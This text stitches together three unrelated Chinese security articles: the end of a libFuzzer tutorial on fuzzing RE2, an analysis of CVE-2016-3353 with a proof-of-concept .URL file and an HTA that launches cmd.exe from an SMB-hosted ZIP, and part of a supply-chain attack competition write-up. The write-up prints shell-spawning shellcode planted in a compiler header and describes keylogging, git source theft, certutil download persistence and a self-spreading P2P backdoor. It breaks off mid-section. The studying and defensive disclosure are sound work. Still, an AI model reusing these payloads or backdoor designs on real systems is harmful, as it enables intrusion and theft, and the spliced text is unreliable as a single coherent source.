if (options_randomizer & 1)
options.set_encoding(RE2::Options::EncodingLatin1);
options.set_posix_syntax(options_randomizer & 2);
options.set_longest_match(options_randomizer & 4);
options.set_literal(options_randomizer & 8);
options.set_never_nl(options_randomizer & 16);
options.set_dot_nl(options_randomizer & 32);
options.set_never_capture(options_randomizer & 64);
options.set_case_sensitive(options_randomizer & 128);
options.set_perl_classes(options_randomizer & 256);
options.set_word_boundary(options_randomizer & 512);
options.set_one_line(options_randomizer & 1024);
options.set_log_errors(false);
const char* data_input = reinterpret_cast<const char*>(data);
{
string pattern(data_input, size);
string buffer(data_input, size);
Test(buffer, pattern, options);
}
if (size >= 3) {
string pattern(data_input, size / 3);
string buffer(data_input + size / 3, size - size / 3);
Test(buffer, pattern, options);
}
return 0;
}
可以看到harness用到了很多re2里的方法，最后使用FullMatch和PartialMatch接口进行匹配buffer和re。其中buffer是由`data_input`和`size`初始化得到（data_input由输入的data经无关类型转换得到），re是由pattern和options建立的RE2对象。
注意到harness里有几个条件分支语句，首先是size<1是直接返回，还有就是当size>=3时，初始化pattn和buffer用的是size/3和size-size/3说明它对我们的输入的size进行了切割，初始化pattern用到的是`data_input + size /
3`，而初始化buffer是用的之后的data_input。这样使得我们样例的size会对fuzz的过程产生影响。如果size很短，可能无法触发crash，而如果size很大，对harness的执行匹配过程就会更加耗时，影响fuzz寻找覆盖点的效率。下面做几个测试，比较一下max_len对fuzz过程的影响：
编译链接harness：
clang++ -O2 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address,fuzzer-no-link -fsanitize-address-use-after-scope -std=gnu++98 target.cc -I re2/ re2/obj/libre2.a -fsanitize=fuzzer -o re2_fuzzer
由于使用的re2版本较老了，编译的时候使用了c++98标准。
首先我们设置max_len为10，执行时间为100秒,-print_final_stats=1打印最后的结果，corpus1作为语料库的存放处：
➜ 10 git:(master) ✗ ./re2_fuzzer ./corpus1 -print_final_stats=1 -max_len=10 -max_total_time=100
Done 643760 runs in 101 second(s)
stat::number_of_executed_units: 643760
stat::average_exec_per_sec: 6373
stat::new_units_added: 36
stat::slowest_unit_time_sec: 0
stat::peak_rss_mb: 456
只探测到了36个代码单元。
接着设置max_len为100，执行时间为100秒,-print_final_stats=1打印最后的结果，corpus2作为语料库的存放处：
./re2_fuzzer ./corpus2 -print_final_stats=1 -max_len=100 -max_total_time=100
Done 233437 runs in 101 second(s)
stat::number_of_executed_units: 233437
stat::average_exec_per_sec: 2311
stat::new_units_added: 50
stat::slowest_unit_time_sec: 0
stat::peak_rss_mb: 675
探测到了50个代码单元,感觉差别不大。
然年设置max_len为1000，执行时间为100秒,-print_final_stats=1打印最后的结果，corpus3作为语料库的存放处：
./re2_fuzzer ./corpus3 -print_final_stats=1 -max_len=1000 -max_total_time=100
Done 105935 runs in 101 second(s)
stat::number_of_executed_units: 105935
stat::average_exec_per_sec: 1048
stat::new_units_added: 97
stat::slowest_unit_time_sec: 0
stat::peak_rss_mb: 830
这次探测到了97个代码单元，是第二个的2倍，第一个的3倍左右。
最后再设置max_len为500，执行时间为100秒,-print_final_stats=1打印最后的结果，corpus4作为语料库的存放处
./re2_fuzzer ./corpus4 -print_final_stats=1 -max_len=500 -max_total_time=100
Done 119361 runs in 101 second(s)
stat::number_of_executed_units: 119361
stat::average_exec_per_sec: 1181
stat::new_units_added: 117
stat::slowest_unit_time_sec: 0
stat::peak_rss_mb: 827
结果也比较明显，不同的max_len对fuzz的效率有着不同的影响，当然这也和你写的harness有关。因此在执行fuzzer的时候选择合适的max_len(如本例中的max_len在100~1000比较合适)会使得我们fuzzer探测到更多的代码块，得到crash的概率也就越大。
## 总结
libfuzzer
workshop到此就全部学习完了。libfuzzer作为最常用的fuzz工具，它所涉及到的一些使用方法在workshop里都有相应的lesson。就我个人而言，在逐步学习libfuzzer的过程中感觉到libfuzzer对于开源库提供的接口函数的fuzz是十分强力的，而这也是我们在学习libfuzzer中的难点:如何能够设计出合理的harness，这需要我们对要fuzz的开源库提供的方法有一定的了解，经过攻击面分析等去逐步改善我们的harness，使得我们与获得crash更近一步。
初学libfuzzer，有错误疏忽之处烦请各位师傅指正。 | 社区文章 |
# 【漏洞分析】CVE-2016-3353：IE浏览器.URL 文件安全特性绕过 （MS16-104）
|
##### 译文声明
本文是翻译文章，文章来源：quarkslab.com
原文地址：<http://blog.quarkslab.com/analysis-of-ms16-104-url-files-security-feature-bypass-cve-2016-3353.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[骨哥_2015](http://bobao.360.cn/member/contribute?uid=140977212)
预估稿费：200RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
2016年9月13日，Microsoft发布了安全公告MS16-104 [1]，其中涉及到影响Internet
Explorer的几个漏洞。其中一个漏洞是CVE-2016-3353，这是一个利用安全功能绕过错误.URL文件处理的漏洞。此安全问题不允许自身执行远程代码，相反，它允许攻击者在涉及用户交互的攻击中绕过安全警告。在这篇博客中，我们将讨论利用逆向工程补丁程序到构建此漏洞POC（Proof-of-Concept）的整个过程。
**分析说明**
使用以下版本IE 11、Windows 8.1 x64执行分析：
易受影响的版本：ieframe.dll 11.0.9600.18427
补丁版本：ieframe.dll 11.0.9600.18450
**确定相关模块**
微软安全公告MS16-104（2016年9月）在Windows 8.1 x64上提供了KB3185319 [2]作为IE
11的补丁版本，此补丁替代KB3175443 [3]（作为2016年8月发布的安全公告MS16-095的一部分），因此，将在新版本和旧版本之间执行差异比较。
9月补丁（KB3185319）提供了45个DLL文件和7个EXE文件，因此第一步是确定哪个二进制补丁文件包含了我们正在分析的特定漏洞的补丁程序。
微软安全公告中提到：
攻击者可以通过向目标用户发送一个精心构造的.URL文件来绕过浏览器的安全检查功能
这个提示就是我们需要在总共52份二进制文件中确定受影响的模块。
我们首先需要在Windows注册表中HKEY_CLASSES_ROOT.url下找到扩展名为
.URL的文件。此键的默认值为InternetShortcut，因此我们需要检出
HKEY_CLASSES_ROOTInternetShortcutshellOpenCommand 键，以找出哪个二进制文件打开此文件扩展名，该键的默认值为
“C:WINDOWSsystem32rundll32.exe” “C:WINDOWSsystem32ieframe.dll",OpenURL
%l”。这意味着ieframe.dll正是我们寻找的模块，更精确地说，ieframe！OpenURL的功能是当它们从Windows资源管理器启动时负责处理.URL文件。
通过检查IDA Pro中的ieframe！OpenURL函数，我们可以看到实际工作主要交给CInternetShortcut类：
知道CInternetShortcut类负责参与.URL文件的处理，现在我们可以在ieframe.dll的旧版本和新版本之间执行二进制文件比较了，要特别留意属于CInternetShortcut类方法的修改。
**二进制文件差异对比**
在IDA
Pro中加载和分析这两个补丁版本之后的ieframe.dll，我们可以使用IDA插件BinDiff来显示两个数据库的差异，通过递增相似性对BinDiff中的匹配函数进行排序，我们可以看到CInternetShortcut类具有显著变化的第一个方法是
CInternetShortcut :: InvokeCommand CMINVOKECOMMANDINFO *），相似比为0.84。
当比较所述方法的流程图时，我们可以确定这确实是一个使用了安全修复的函数。
新的（已修复）版本包括在调用CInternetShortcut :: _
InvokeCommand之前的附加检查，如果我们深入到屏幕的右侧部分（修补版本），我们可以看到已添加的检查：
如果CL寄存器为0，那么CInternetShortcut :: _ InvokeCommand方法将照常调用，但是，当CL！=
0时，函数将调用CDownloadUtilities ::
OpenSafeDialog，如果用户接受安全警告询问时，则调用CInternetShortcut :: _ InvokeCommand。
因此，我们继续确定CL寄存器的值设置在哪里：
从该代码段，我们可以得出结论，当处理的文件具有.URL扩展名并且还包含网络标记（MOTW）[4]备用数据流时，CL被设置为1，在这种情况下，继续处理.URL文件之前，用户将收到安全警告。
**确定bug的影响**
微软公告没有给出攻击者通过利用这个bug可以实现的细节，
它只提到“攻击者可以通过向目标用户发送一个精心构造的.URL文件来绕过浏览器的安全检查功能”。另一方面，ZDI公告ZDI-16-506
[5]中提到“如果受害者打开.URL文件，攻击者可以在受害者的机器上执行任意代码”。此外，ZDI提到这个bug是由Eduardo Braun
Prado发现的，通过查看Eduardo
[6]发布的其它安全公告，我们可以看到他专门利用“链接类”文件格式（.MCL，.LNK）来执行任意程序，而不会向用户显示安全警告，因此，我们决定遵循这个线索和假设，如果我们能说服用户打开一个特制的.URL文件，没有向用户显示安全警告的话，这个漏洞允许我们执行一个任意程序。
**利用**
这是一个典型的.URL文件的内容：
[{000214A0-0000-0000-C000-000000000046}]
Prop3 = 19,2
[InternetShortcut]
IDList =
URL = https：//www.microsoft.com/
为了理解如何利用这个bug，让我们来看看CInternetShortcut :: _
InvokeCommand（在已修复版本，只有在额外的安全检查后才会调用该函数）。
该函数调用CInternetShortcut :: CExecHelper ::
Init，它初始化了一个SHELLEXECUTEINFO[7]结构，然后调用CInternetShortcut :: CExecHelper ::
ResolveProtocol以验证在.URL文件的URL键中指定的协议是否在当前计算机中正确注册。
然后它调用CInternetShortcut :: CExecHelper :: IEDirectExec，尝试在Internet
Explorer中打开目标URL，如果不行，那么将调用CInternetShortcut :: CExecHelper ::
Execute，CInternetShortcut :: CExecHelper :: Execute只是调用ShellExecuteEx[8]
API，并以之前初始化的 SHELLEXECUTEINFO结构作为其参数。
因此，我们可以使.URL文件的URL键指向一个可执行文件，它将通过ShellExecuteEx执行，但是，在初始化SHELLEXECUTEINFO结构时，lpParameters字段设置为NULL，因此我们不能为要执行的文件提供任意参数，这意味着我们不能滥用本地解释器，如cscript，wscript或powershell，我们需要提供能够被其执行的文件作为替代方案。
在这类情况下寻找利用可能性时，我们偶然发现了Google Project Zero bug＃693
[9]（它描述了TrendMicro产品中的一个漏洞），其中Tavis
Ormandy提到自动下载包含.HTA的.ZIP文件的想法文件与任意代码，并利用Windows资源管理器功能，将.ZIP文件作为文件夹，通过ShellExecute指定一个路径来执行.ZIP文件。C:/Users/someone/Downloads/test.zip/test.hta.
他的场景与我们的非常类似，因为他还提到了使用这个技巧能够避免MOTW安全警告。
进一步的测试表明，如果包含.HTA文件的.ZIP文件托管在SMB共享中，利用同样可以执行。
**概念证明（Proof of Concept）**
为了利用此漏洞，发送到目标用户的.URL文件的内容必须是这样的：
[{000214A0-0000-0000-C000-000000000046}]
Prop3 = 19,9
[InternetShortcut]
IDList =
URL = file：/// \ 192.168.1.100 share test.zip ms16-104.hta
这是ms16-104.hta文件的代码，取自上面提到的Project Zero的PoC。它会运行"cmd.exe /k echo hello world!"
，它必须压缩为test.zip，.ZIP文件必须托管在.URL文件指定的SMB共享文件夹上。
<head>
<title> HTA测试</ title>
<HTA：APPLICATION
APPLICATIONNAME = “HTA Test”
SCROLL = “yes”
SINGLEINSTANCE = “yes”
WINDOWSTATE = “maximize”
>
</ head>
<script language = “VBScript” >
Sub TestSub
Set o = CreateObject （“Shell.Application” ）
o 。ShellExecute “cmd.exe” ， “/ k echo hello world！” ， “” ， “” ， 1
End Sub
</ script>
<body onLoad = “TestSub” >
</ body>
当用户使用Web浏览器下载恶意的.URL文件时，该文件被正确标记为MOTW，表明该文件可能有害。
在正常情况下，如果用户尝试打开标有MOTW的文件，则会向用户显示安全警告，说明该文件可能是恶意的，并询问他/她是否真的想打开它，然而由于我们分析的这个安全漏洞，当打开恶意的.URL文件时，引用了远程.HTA文件的.URL文件在没有任何警告的情况下被执行，忽略Web标记在URL文件上存在的事实。
在已更新的系统上，当用户尝试打开包含有MOTW的.URL文件时，则会看到以下安全警告：
**结论**
网络标记（MOTW）是由浏览器（以及其它高度暴露的软件，如电子邮件客户端）添加到从互联网下载的文件的备用数据流，当用户双击标有MOTW的文件时，通常会显示安全警告，告诉用户该文件来自Internet，并且可能是有害的。
在MS16-104补丁之前的.URL文件，MOTW并不受支持，因此.URL文件引用的文件只是通过ShellExecuteEx执行，根本没有安全警告，这可以被随意用来执行任意代码，通过诱使用户打开一个恶意的.URL文件，指向托管在SMB共享中.ZIP文件中的.HTA文件。
**参考文献**
[1]<https://technet.microsoft.com/en-us/library/security/ms16-104.aspx>
[2]<https://www.microsoft.com/en-us/download/details.aspx?id=53756>
[3]<https://www.microsoft.com/en-us/download/details.aspx?id=53450>
[4]<https://msdn.microsoft.com/en-us/library/ms537628(v=vs.85).aspx>
[5]<http://www.zerodayinitiative.com/advisories/ZDI-16-506/>
[6]<https://www.exploit-db.com/author/?a=6521>
[7]<https://msdn.microsoft.com/en-us/library/windows/desktop/bb759784(v=vs.85).aspx>
[8]<https://msdn.microsoft.com/en-us/library/windows/desktop/bb762154(v=vs.85).aspx>
[9]<https://bugs.chromium.org/p/project-zero/issues/detail?id=693> | 社区文章 |
# 『功守道』软件供应链安全大赛·PE二进制赛季启示录
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 因图片较大，图片文件打包后传至云盘附在文章结尾，请下载查看原图。
## 0\. 在一切开始前
诚信声明
虽是老生常谈，但安全的同一水位面前，木桶永远有长板短板，风险值得最高警惕。如前文所比喻，软件供应链安全的问题，无异于潘多拉的盒子。我们的比赛，通过在限定框架范围，打开魔盒释放出一定、低害但超出早先人们认知的程序恶意，将其公之于众，以使得人们对其不再毫无防备，从而能够前摄性的研发对应的解决之道。
因此类似针对C源代码赛季的要求，在此我们仍需要特别强调：本文中所列举的所有恶意代码，仅用于彰显那些当前有安全人员可能想到的恶意行为；考虑到真正的威胁永远源于未知，这些题目所搭载的恶意行为类型，实质上在曝光的同时就已经失去最大威胁，但由于信息不对等，在真实场景仍然可能会被利用。所以所有读者需要在阅读同时，自我保证绝不会将这里的思路，以及由此延展出的思维用于真实场景。
赛题处理与披露
考虑到本次比赛赛题不是传统恶意软件，由主流杀毒软件引擎无法检出，为防止流失到社会上造成真实风险，组织方尽量保证题目不传播、不外泄、可判别。
软件在启动过程中增加了弹框进行“软件特殊场景拷贝、存在恶意代码”的警示，并对启动过程相关函数进行加壳混淆，初步保证无法直接将二进制程序文件被直接流失到外部扩散使用。除此以外，我们将三款被修改软件中存在恶意代码片段的文件SHA256公开，用以引导业界相关检测方对这些文件的发现和响应：
“# Code::Blocks
f8f59f4a417a1cc6006a0826ae8863e64f565df8478657a8635a9d321c908539 autorevision.exe
22808cb74a5e038958813d999ae214b06d08321f597ee436a1e8c53716c2dccc cb_console_runner.exe
6eeca307be321870c6a0a0c91f0665649e2470334e7372dd9701d91545fd6660 codeblocks.dll
8bceffd76ddfab3861c657695765bc1bdc092617cd677cd63a1cf5f7e7fec146 codeblocks.exe
1339b2de06cf83b2f7c6f83b48f1bc8a3d64f696788293e86c4a0dea4a62274c abbreviations.dll
f9ab0deb5c87aefec6c32589c640de1a06838d5cdcc5cac7ca251623053bf2d4 autosave.dll
4517a8bdd5993d2b438cefafe2c06e2dc3baba6b6194bb3a9dd2bf36f764d636 classwizard.dll
9f1a28d998343a6395c3bb07cc92d893e076f0ba89f50e4f7fc7b622910a7b7f defaultmimehandler.dll
5cfcb7f143f11e7b152d546da36031a7464e112e0fa056e99a8af9fb563bd01e debugger.dll
1bc7cc00b2325c358c018e64e5aa8de4cb3db962ccd529929544a33ca262977e compiler.dll
06e0a16353d50e03e9f7026b58f5317e27c1925aa0465551a4b091dfe87583d3 EditorConfig.dll
b92b5be5da0fa1b01d823a8dab1b73f45e984c274a0b17b3938495dcd485f976 FileManager.dll
249ed7e1c91f7289487f28b2dcc759e6eea2615a63a255b906a9f543f0690c23 openfileslist.dll
f90c8fd13af6347a408ddb968ebc7560240ef053bb9f52f461a25ee33f1b9153 xpmanifest.dll”
“# ConEmu
887f4627e0da26a50851634ecef7106bbcc5b1db3a510450cad2757edf4d333d ConEmu.exe
4f71dbf6f95a3702d81de7eb7f1f7470821bad58d944f922033900b3a58e63ea ConEmuC.exe
37e66ee0b610e2070bb3eca935805e96a9dc12a49ddf03eca550777d184d05e3 ConEmuCD.dll”
_“# eMule_
09e6a93b6cc560f3d50482415cd95d0dabe993a3a8c8f2912ffb6d73b95d4f66 emule.exe”
## 1\. 出招！蓝军出题方经典题目赏析
在本节中，我们将精选一些出题方的题目进行展示。其中一些具有代表性，透露出所有参赛队在考虑针对PE可执行文件、针对Windows系统、针对个人办公和开发软件环境这个限定的场景下，结合经验、发挥脑洞之下，能够设想出来的软件供应链新型攻击的一般模式和套路；而另有一些具有突破性，是令组织方收齐题目看到后也非常赞叹其立意之新颖、实现之巧妙的题目。希望通过这有限几道题目的展示，能够让大家对于这一限定场景下威胁的真实性、迫切性、发散性，有和我们相同的感知。
### 开发环境污染1：从“头”做起
在第一轮比赛，选定的载体是Code::Blocks，一方面限定了题目本身需要从这样的IDE环境中触发，一方面提供了可以将围绕这款软件以及一般性的开发环境为攻击、污染目标的想象空间。
这里的第一道题目形式较为简单，思路非常经典。恶意代码存在于Code::Blocks的一款官方插件autosave中，题目部分代码如下：
该题的最终目的是使任何通过 MinGW 编译后的项目都存在攻击者放置的后门。IDE 里的投毒代码在自动保存时触发，通过向软件自带安装的 MinGW
默认路径(C:Program Files
(x86)CodeBlocksMinGWlibgccmingw325.1.0includec++iostream)的头文件放入恶意代码，使得任何经过该
MinGW 编译且包含了 iostream 的项目存在攻击者放置的后门。
iostream 中的后门将先于 main 函数执行，实现方式为在 iosteam 中添加如下代码：
class AliSoftSec {
public:
AliSoftSec() {
unsigned char code[] = “x68x7fx01x01x01x5ex66x68xd9x03x5fx6ax66x58x99x6ax01x5bx52x53x6ax02x89xe1xcdx80x93x59xb0x3fxcdx80x49x79xf9xb0x66x56x66x57x66x6ax02x89xe1x6ax10x51x53x89xe1xcdx80xb0x0bx52x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x52x53xebxce”;
int (ret)() = (int ()()) code;
ret();
}
} softsec;
针对开发者本地开发资源进行源头污染，污染部分代码本身没有体现在安装包内自带 MinGW
的头文件明文之中。为实现攻击特征字符串避免被解题者直接人工察觉，使用了简单的字符串编码，这种方法在本次比赛中，由所有队伍不约而同地使用；该方案可以规避静态扫描，在动态测试方案中失效。这道题目在一定的隐藏性之余，实现了恶意行为的“从头做起”。
### 开发环境污染2：重装上阵
第二道针对Code::Blocks的题目，我们选择了一道设计完善、链路复杂且具有隐蔽性的题目，其恶意代码直接植入到了codeblocks.exe主程序文件中，CodeBlocksApp::OnAppActivate函数内容。该部分原始题目代码如下：
本道题目意图为修改cpp源文件默认打开方式为恶意程序。实现方式为：开发机器上存在大量cpp格式源文件，若修改cpp文件打开方式为指定恶意程序即可实现对cpp文件的读写删改等操作。本题在Windows“轻松访问”注册表键创建一个恶意的“轻松访问”项，使得机器启动或者桌面切换（例如触发UAC）时执行恶意“轻松访问”项指定的程序certutile.exe，certutile.exe从服务器下载恶意程序codeblocks_opencpp.exe后，将cpp文件的默认打开程序修改为codeblocks_opencpp.exe。
本题集恶意利用、持续驻留、持续更新于一体，codeblocks_opencpp.exe实现恶意利用、恶意“轻松访问”项实现持续驻留、植入位置OnAppActivate是一个会被持续执行的函数，它将与certutil.exe一起持续从服务器上下载恶意程序以保持持续更新。此外，恶意代码会判断当前进程权限以决定修改哪个用户下的注册表项。
值得一提，在整个函数中，恶意代码的代码比例、位置和结构可视化如下图，也许会给人一些想法上的启发：
本道题目的亮点在于巧妙实现了完整的攻击链路，同时因为修改特定文件关联是该IDE软件本身就有的行为，所以该部分代码从行为和字符串等静态特征上，与载体具有一定的逻辑混淆性。
### 开发环境污染3：登堂入室
第三道针对Code::Blocks的题目，我们选择了一道令人胆颤的题目。考虑前两道题目，无论是针对开发头文件资源的污染，还是针对系统和软件环境的篡改，着眼点都是在恶意程序寄存的电脑本身；而针对该电脑使用者所在的企业、电脑接入的内部网络环境、开发资源所述的企业代码本身，这些真正有价值的目标，并没有实现攻击扩散。而这里的这道题目，从思路上完成了更大的野心。
该题目存在于Code::Blocks的官方插件compiler.dll中，原始代码如下，其中选定部分为恶意行为载荷：
本题中插入恶意代码，调用主机中的Git将当前的git项目上传到指定的服务器（这里上传至github），从而完成对互联网企业最核心资产——源代码的窃取和泄漏。
观察其实施链路，为了将用户当前的git项目上传至指定的git服务器，代码一共做了如下操作：保存用户当前的ssh公私钥—>用自己的公私钥覆盖用户的公私钥—>获取当前git项目的目录—>判断当前git项目是否存在origin，添加或修改origin—>将git项目push到git服务器—>删除或恢复origin，删除临时文件，恢复用户的ssh公私钥。
整体实现细节中值得注意的地方有：
• 采用批处理（.bat）的方式来实现执行多条指令，同时为了避免执行批处理时出现的黑色弹框，采用vbs间接调用bat的方式。
•
执行git命令需要在当前项目的目录下，这里通过codeblocks源码中的m_pBuildingProject->GetBasePath()来获取当前项目的根目录，借用载体本身的接口，发生了交叉引用，可规避对于仅观察与工程其余部分完全没有交叉引用的解题思路的发现。
• 为了不让恶意代码的执行阻碍codeblocks的正常编译，使用Windos系统API
ShellExecuteA来执行.vbs脚本。这种方法本身在动态执行时特征比较容易被察觉，但是对于批量文件静态扫描，则没有太过突兀的特征。
•
删除临时文件以及恢复公私钥时，需要等git项目push完毕后才行，这里的时间无法预知，因此这部分的实现也放在bat脚本中（bat、vbs脚本均是动态生成、动态删除）。
### 本地客户端污染1：暗度陈仓
第二轮分站赛，组织方选定了两款客户端软件作为恶意行为载体，其中一款本地客户端为ConEmu终端仿真器。该软件听起来比较小众，但是实际上被作为引擎用于多种其它增强型终端的底层，如广泛使用的cmder。同时，该软件功能强大，涉及到大量的底层甚至hackish的操作去实现特定的功能，例如对所执行的控制台程序默认挂钩进行交互和渲染等。
选择这款软件的初衷，也是希望出题队能够借用载体本身的实现、机制，完成更有意思、更具有侵入性的供应链攻击行为，并更深层次地实现恶意代码的藏匿，削弱其独立性以规避检测。这里举例的这道题目比较好的体现了这样的意图。
这道题目选取了ConEmuCD模块（关于该软件的主要组件作用可参考官方说明）当中的LLKeybHook函数，添加的代码量较小，如下，
本题利用ConEmu自身SetWindowsHookEx对键盘的输入的hook，使用少量的修改将用户的操作命令记录到TEMP目录指定文件中。其中比较巧妙地规避了可能令解题队察觉的几个细节有：
• 利用程序自带的hook函数进行操作，减少不必要的API调用，以少量的代码达到攻击的目标；
• 使用char s[] = {‘a’,’b’,’c’}的形式避免字符串被直接检索；
• 使用程序本身包含的CreateFile、WriteFile以及SetFilePointerEx，避免引入其他API。
同时，考虑到有队伍考虑从函数代码中，辨别是否有功能可独立切片的代码部分，作为恶意植入的代码片段的特征；这道题目也可成功规避这样的检测，其中恶意代码部分在整个函数中的位置和比例如下图所示。
### 本地客户端污染2：得寸进尺
在选择第二轮比赛的本地客户端软件载体时，选取了ConEmu这样一款终端类软件而非一般的文档、图像等处理类软件，主要看中的是其使用场景，往往是很多登录企业测试、预发、线上服务器的客户端工具，其中也集成了这样的功能，因此以此为渠道将攻击横向移动到企业服务器上，是一个最小代价实现最大化目标攻击效果的方法。
ConEmu当中的这样一道题目是，在ConEmuCD动态库模块中，将恶意代码植入到Queue.cpp文件中，影响终端中在远程网络会话中，输入控制的环节，恶意代码存在于SendConsoleEvent函数：
这里选取的载体函数，巧妙选定在了客户端处理向网络会话中发送特殊字符的功能位置。当用户使用 SSH 连接内网其他主机时，触发后门并且自动在该内网主机上执行
downloader，以巧妙达到横向感染其他主机的目的。当然，这里仅仅是提供了一个从本地到远程、从个人PC到背后更大的企业网络环境主机的攻击升级的渠道；在ssh远端主机上可发动的下一步软件供应链攻击更加多样化，这样就可以将C源代码赛季的花招进行整合复用了。
### 本地客户端污染3：有的放矢
在本次比赛当中有一个倾向性，认为软件供应链上存在的污染和恶意行为，既然初时需要以充分的准备（无论是技术渗透还是社会工程）来达成攻击的前置条件，那么恶意行为必然不会是容易被觉察的、以破坏为主的传统攻击；在当下我们能考虑到的，应该是会以长期潜伏、获取具有资产价值的重要数据为主。但这也引入了一个问题，怎样的数据算作这样的目标数据呢？在第一个C源代码赛季，在限定了线上生产环境和服务端软件系统这个场景下，由主办方提供了一个大致的范围列表和例子，出题队恶意代码窃取数据的范围也基本没有超出这个圈定。但是在更灵活的场景下，比如PC环境，问题就不再那么容易限定。
针对ConEmu这个题目载体软件，几支出题队结合软件自身行为和意图，在如下这几个点，直接获取了软件本身所采集的具有一定价值的数据，比较具有代表性：
•
ConEmu主程序模块，Settings::HistoryLoad函数，用来导出、导入在终端中用户输入的命令历史。在此处植入了极小量的代码，直接将本地记录有命令历史的文本数据编码后传出，实现了泄漏。考虑到作为一款基础的终端软件，ConEmu集成了cmd、powershell、WSL、cygwin、ssh客户端、git
bash等多种会话，其本地记录的命令显然会暴露大量操作敏感信息，甚至会暴露用户连接到公司后台的操作数据。
•
ConEmu主程序模块，DumpImage函数，用来实现一个内建的截屏功能。屏幕信息包含的数据显然同样具有很大的数据量，例如，考虑到一般用户的使用场景，截屏功能比较可能针对屏幕上显示代码、关键配置数据、程序或远程错误信息等情况下使用，而这些都会造成本地或远程敏感信息不保。
•
ConEmuCD动态库模块，ApplyProcessSetEnvCmd函数，是终端启动时配置环境参数命令的功能函数。在此中设置代理，将代理指向攻击者控制的服务器，而后终端里的网络流量被攻击者劫持。
• ConEmu主程序模块，CConEmuUpdate::wininet::Init函数，插入恶意代码，在ConEmu进行升级的时候，模仿Xshell
Ghost信息搜集阶段的操作，搜集本级IP地址，使用gethostbyname进行DNS请求方式将信息传出。
以上的信息泄露点都比较巧妙地借用了载体模块和代码本身的正常逻辑和函数调用序列，实现自身的功能以及隐藏。当然，题目都受制于比赛本身对于出题的限制，而如果脱离比赛中对于一定需要仅改动单个函数等要求，这些恶意行为本可以更加巧妙，例如上述更改的地方仅用于做数据的上游采集，而对应的数据泄露环节，可以复用程序本身的网络相关函数，调用链路也可以进行一定隐藏。
同时，更值得引起思考的是，对于泛化的软件，应该如何定义这样需要监控的“敏感数据”。数据的敏感程度，往往应该是与具体的软件、执行环境甚至操作上下文相关才可判定的。例如，如果仅凭一个确定的、通用的知识库来进行数据外传是否涉及敏感信息泄漏，那么截屏是否触网？从数据采集到外传，如果做了数据本身的整合和遮掩，例如对数据的特定范围进行星号替换，那么如何判别敏感部分是否得到了有效脱敏？种种问题，已经无法通过确定的知识进行判别；即便是通过机器学习，也应该没有合理的解决办法，毕竟问题是发散的，不可能有足够的黑样本进行全集学习。也许面对这样的问题，类似“SDN”的概念，需要有一种“软件定义敏感数据”的新的方法论来解决。
### 网络客户端污染：举一反三
第二轮比赛另外选择了一款网络客户端软件作为题目载体，选用目标为老牌p2p客户端软件eMule。作为软件供应链攻击，多数恶意行为都需要网络行为作为其中数据传入或传出的关键一环，因此在网络客户端中既可以实现这样行为的隐藏，更方便借用软件本身的功能模块代替执行数据流转。而选取了p2p更是看中了其不同寻常客户端的网络行为模式，其中本地数据的上传下载、搜索、网络扩散的行为本身，也为恶意行为提供了可能。
这里首先展示的一道题目借用了p2p这样的模式，实现了一个类p2p传播的后门，代码部分如下：
如代码当中清晰的注释所述，该自传播后门意图为，当用户使用该功能时，会自动搜索特定文件(EmuleWelcome.jpg)，一旦找到则
自动下载，同时自动将该文件分享，并自动解析该jpg文件中隐藏指令执行。具体实现方式：
1. “Search”按钮点击时，
2. 先判断“下载区”是否有EmuleWelcome.jpg，有则复制到“分享区”，若分享区不存在则自行创建 (保证传播性)
3. 执行EmuleWelcome.jpg中嵌入的命令 (保证后门指令能执行)
4. 篡改本次搜索关键字，追加 “ OR EmuleWelcome.jpg”，保证搜索时能发现到该文件(保证传播性)
5. 通过lambda表达式生成一个线程函数，通过CreateThread启动它，该线程通过判定搜索结果中是否有EmuleWelcome.jpg，若有自动选中自动下载存于“下载区”
6. 好了，跳转步骤0。
这道题目功能逻辑设计完整，行为模式与载体相融合，在保证了针对动态行为检测的欺骗性同时，实现了跨越单机领域，在办公网络和公网环境下最大的施展空间。
## 2\. 接招！红军解题方思路参照
针对PE赛季，在策划之时进行了工作量的大致测算。虽然最终发布的题目，每一轮只有一两个软件，组件量也有限，但是考虑到当前针对二进制文件可行的分析方法，相比于源代码扫描要有倍率的放大，因此最终无论是选定的软件规模还是题目数量，配合每轮2小时的解题时间，实际上都形成了这样的效果：传统针对二进制程序做粗粒度扫描、规则匹配的类似杀毒软件引擎的方案，均无法针对题目类型奏效；单纯人工方法的静态或动态的分析测试，限定时间内注定无法发现超过3成的问题；而仅有自动化方法唯一出路的前提下，2小时时长基础上更加延长时间也基本无助于自动化工具的效果加强。
传统方法中，静态的黑盒分析，针对这样一些非传统恶意行为特征的问题目标，需要将方法粒度细化，因此多数队伍最终落到了基于程序文件反编译，在伪代码层面进行源代码扫描的方案。这样的方法原则上是解决这样一类问题的唯一出路，毕竟恶意行为是语义层面的，因此也只能通过对语义的还原来进行分析和推断。另外，学术界所偏爱的动态黑盒分析测试，针对本次比赛的很多题目而言，具有天然优势，例如针对编码的特征字符串、混淆的控制流而言，动态执行至少是静态分析的必要补充工作；但动态分析固有的限制在于其测试完备性无法保证，即便是针对本次比赛，所属题目没有放置在冷僻的控制流分支上，经过有限用户交互可达，动态方法也无法保证针对大范围代码、功能的全面自动化覆盖，因此在本次比赛中，或者说在规模化二进制程序软件供应链安全保证方面，单纯动态分析方法可能都需要更多改进。
而无论是出于比赛本身的抽象，还是二进制程序与软件分发的特殊性而言，除了上述方法，也还有针对问题更加低开销且有效的方案。PE赛季中，来自国防科技大学的holiday一枝独秀，特别是在第二轮比赛后发制人，以不错的成绩和加权总分赢得了该赛季冠军，思路简单、对症、有效，以下对其提供的writeup进行简单介绍。
### 方案一：静态启发式检测
• 基于栈隐藏的检测。
编译器程序通常会将源码中所用的数据存放于数据段中，代码及数据特征明显，如果存在恶意行为容易被定位。而恶意后门通常善于利用程序栈来隐藏自身信息，难以通过简易的特征码、字符串被检测出来。通过栈静态分析配合动态模拟，可跟踪栈内容的变化。而常规编译产生的程序对栈利用与恶意程序通常有着一定的区别，利用栈分析可定位出可能存在恶意行为的代码片段。
• 基于动态shellcode执行的检测。
